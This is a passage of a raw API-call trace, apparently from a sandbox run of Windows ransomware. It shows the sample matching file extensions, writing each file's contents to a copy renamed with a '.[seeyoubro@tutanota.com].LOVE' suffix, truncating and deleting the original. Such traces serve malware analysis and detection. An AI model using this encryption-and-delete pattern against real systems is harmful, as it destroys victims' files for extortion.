(lpString=".xlsx") returned 5 [0196.154] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.154] lstrlenW (lpString=".ppt") returned 4 [0196.154] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.154] lstrlenW (lpString=".zip") returned 4 [0196.154] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.154] lstrlenW (lpString=".rar") returned 4 [0196.154] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.154] lstrlenW (lpString=".bz2") returned 4 [0196.154] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.154] lstrlenW (lpString=".7z") returned 3 [0196.154] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.154] lstrlenW (lpString=".dbf") returned 4 [0196.154] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.154] lstrlenW (lpString=".1cd") returned 4 [0196.154] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0196.154] lstrlenW (lpString=".jpg") returned 4 [0196.155] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.155] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.155] lstrlenW (lpString="eula.rtf") returned 8 [0196.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0196.155] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=4254) returned 1 [0196.155] CloseHandle (hObject=0x2f4) returned 1 [0196.155] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0196.155] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0196.155] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.156] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.156] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.156] GetLastError () returned 0x0 [0196.156] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x109e, lpOverlapped=0x0) returned 1 [0196.169] WriteFile (in: hFile=0x304, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0196.170] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.170] WriteFile (in: hFile=0x304, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.170] SetEndOfFile (hFile=0x304) returned 1 [0196.170] CloseHandle (hObject=0x304) returned 1 [0196.171] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.171] SetEndOfFile (hFile=0x2f4) returned 1 [0196.172] CloseHandle (hObject=0x2f4) returned 1 [0196.172] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.173] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0196.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.173] lstrlenW (lpString=".doc") returned 4 [0196.173] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.173] lstrlenW (lpString=".docx") returned 5 [0196.173] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.173] lstrlenW (lpString=".pdf") returned 4 [0196.173] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.173] lstrlenW (lpString=".xls") returned 4 [0196.173] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.173] lstrlenW (lpString=".xlsx") returned 5 [0196.173] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.173] lstrlenW (lpString=".ppt") returned 4 [0196.173] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.173] lstrlenW (lpString=".zip") returned 4 [0196.173] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.173] lstrlenW (lpString=".rar") returned 4 [0196.173] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.173] lstrlenW (lpString=".bz2") returned 4 [0196.174] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.174] lstrlenW (lpString=".7z") returned 3 [0196.174] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.174] lstrlenW (lpString=".dbf") returned 4 [0196.174] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.174] lstrlenW (lpString=".1cd") returned 4 [0196.174] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.174] lstrlenW (lpString=".jpg") returned 4 [0196.174] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.174] lstrlenW (lpString=".doc") returned 4 [0196.174] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.174] lstrlenW (lpString=".docx") returned 5 [0196.174] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.174] lstrlenW (lpString=".pdf") returned 4 [0196.174] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.174] lstrlenW (lpString=".xls") returned 4 [0196.174] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.174] lstrlenW (lpString=".xlsx") returned 5 [0196.174] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.174] lstrlenW (lpString=".ppt") returned 4 [0196.174] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.174] lstrlenW (lpString=".zip") returned 4 [0196.174] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.175] lstrlenW (lpString=".rar") returned 4 [0196.175] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.175] lstrlenW (lpString=".bz2") returned 4 [0196.175] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.175] lstrlenW (lpString=".7z") returned 3 [0196.175] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.175] lstrlenW (lpString=".dbf") returned 4 [0196.175] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.175] lstrlenW (lpString=".1cd") returned 4 [0196.175] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0196.175] lstrlenW (lpString=".jpg") returned 4 [0196.175] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.175] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.175] lstrlenW (lpString="eula.rtf") returned 8 [0196.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0196.203] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=3643) returned 1 [0196.203] CloseHandle (hObject=0x2d4) returned 1 [0196.203] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0196.203] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.203] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0196.203] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.204] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.204] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0196.204] GetLastError () returned 0x0 [0196.204] ReadFile (in: hFile=0x2d4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xe3b, lpOverlapped=0x0) returned 1 [0196.266] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe40, lpOverlapped=0x0) returned 1 [0196.267] ReadFile (in: hFile=0x2d4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.267] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.267] SetEndOfFile (hFile=0x2f4) returned 1 [0196.267] CloseHandle (hObject=0x2f4) returned 1 [0196.268] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.268] SetEndOfFile (hFile=0x2d4) returned 1 [0196.295] CloseHandle (hObject=0x2d4) returned 1 [0196.295] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.296] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0196.296] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.296] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.296] lstrlenW (lpString=".doc") returned 4 [0196.296] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.296] lstrlenW (lpString=".docx") returned 5 [0196.296] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.296] lstrlenW (lpString=".pdf") returned 4 [0196.296] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.296] lstrlenW (lpString=".xls") returned 4 [0196.296] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.296] lstrlenW (lpString=".xlsx") returned 5 [0196.297] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.297] lstrlenW (lpString=".ppt") returned 4 [0196.297] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.297] lstrlenW (lpString=".zip") returned 4 [0196.297] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.297] lstrlenW (lpString=".rar") returned 4 [0196.297] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.297] lstrlenW (lpString=".bz2") returned 4 [0196.297] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.297] lstrlenW (lpString=".7z") returned 3 [0196.297] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.297] lstrlenW (lpString=".dbf") returned 4 [0196.297] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.297] lstrlenW (lpString=".1cd") returned 4 [0196.297] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.297] lstrlenW (lpString=".jpg") returned 4 [0196.297] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.297] lstrlenW (lpString=".doc") returned 4 [0196.297] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.297] lstrlenW (lpString=".docx") returned 5 [0196.297] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.297] lstrlenW (lpString=".pdf") returned 4 [0196.297] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.298] lstrlenW (lpString=".xls") returned 4 [0196.298] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.298] lstrlenW (lpString=".xlsx") returned 5 [0196.298] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.298] lstrlenW (lpString=".ppt") returned 4 [0196.298] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.298] lstrlenW (lpString=".zip") returned 4 [0196.298] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.298] lstrlenW (lpString=".rar") returned 4 [0196.298] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.298] lstrlenW (lpString=".bz2") returned 4 [0196.298] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.298] lstrlenW (lpString=".7z") returned 3 [0196.298] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.298] lstrlenW (lpString=".dbf") returned 4 [0196.298] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.298] lstrlenW (lpString=".1cd") returned 4 [0196.298] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0196.298] lstrlenW (lpString=".jpg") returned 4 [0196.298] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.298] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.298] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.299] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.928] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=79634) returned 1 [0196.928] CloseHandle (hObject=0x304) returned 1 [0196.928] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0196.928] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.928] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.928] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.929] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.929] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0197.071] GetLastError () returned 0x0 [0197.071] ReadFile (in: hFile=0x304, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x13712, lpOverlapped=0x0) returned 1 [0197.252] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13720, lpOverlapped=0x0) returned 1 [0197.255] ReadFile (in: hFile=0x304, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.255] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xf6, lpOverlapped=0x0) returned 1 [0197.255] SetEndOfFile (hFile=0x2d8) returned 1 [0197.255] CloseHandle (hObject=0x2d8) returned 1 [0197.259] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.259] SetEndOfFile (hFile=0x304) returned 1 [0197.260] CloseHandle (hObject=0x304) returned 1 [0197.261] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.261] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0197.261] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.261] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.261] lstrlenW (lpString=".doc") returned 4 [0197.261] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.261] lstrlenW (lpString=".docx") returned 5 [0197.261] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.261] lstrlenW (lpString=".pdf") returned 4 [0197.261] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.261] lstrlenW (lpString=".xls") returned 4 [0197.261] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.262] lstrlenW (lpString=".xlsx") returned 5 [0197.262] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.262] lstrlenW (lpString=".ppt") returned 4 [0197.262] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.262] lstrlenW (lpString=".zip") returned 4 [0197.262] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.262] lstrlenW (lpString=".rar") returned 4 [0197.262] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.262] lstrlenW (lpString=".bz2") returned 4 [0197.262] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.262] lstrlenW (lpString=".7z") returned 3 [0197.262] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.262] lstrlenW (lpString=".dbf") returned 4 [0197.262] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.262] lstrlenW (lpString=".1cd") returned 4 [0197.262] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.262] lstrlenW (lpString=".jpg") returned 4 [0197.262] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.262] lstrlenW (lpString=".doc") returned 4 [0197.262] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.262] lstrlenW (lpString=".docx") returned 5 [0197.262] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0197.262] lstrlenW (lpString=".pdf") returned 4 [0197.263] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.263] lstrlenW (lpString=".xls") returned 4 [0197.263] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.263] lstrlenW (lpString=".xlsx") returned 5 [0197.263] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0197.263] lstrlenW (lpString=".ppt") returned 4 [0197.263] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.263] lstrlenW (lpString=".zip") returned 4 [0197.263] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.263] lstrlenW (lpString=".rar") returned 4 [0197.263] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.263] lstrlenW (lpString=".bz2") returned 4 [0197.263] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.263] lstrlenW (lpString=".7z") returned 3 [0197.263] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.263] lstrlenW (lpString=".dbf") returned 4 [0197.263] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.263] lstrlenW (lpString=".1cd") returned 4 [0197.263] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0197.263] lstrlenW (lpString=".jpg") returned 4 [0197.263] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.263] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0197.263] lstrlenW (lpString="eula.rtf") returned 8 [0197.264] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0197.607] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=4015) returned 1 [0197.607] CloseHandle (hObject=0x2d8) returned 1 [0197.607] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0197.607] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.607] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: 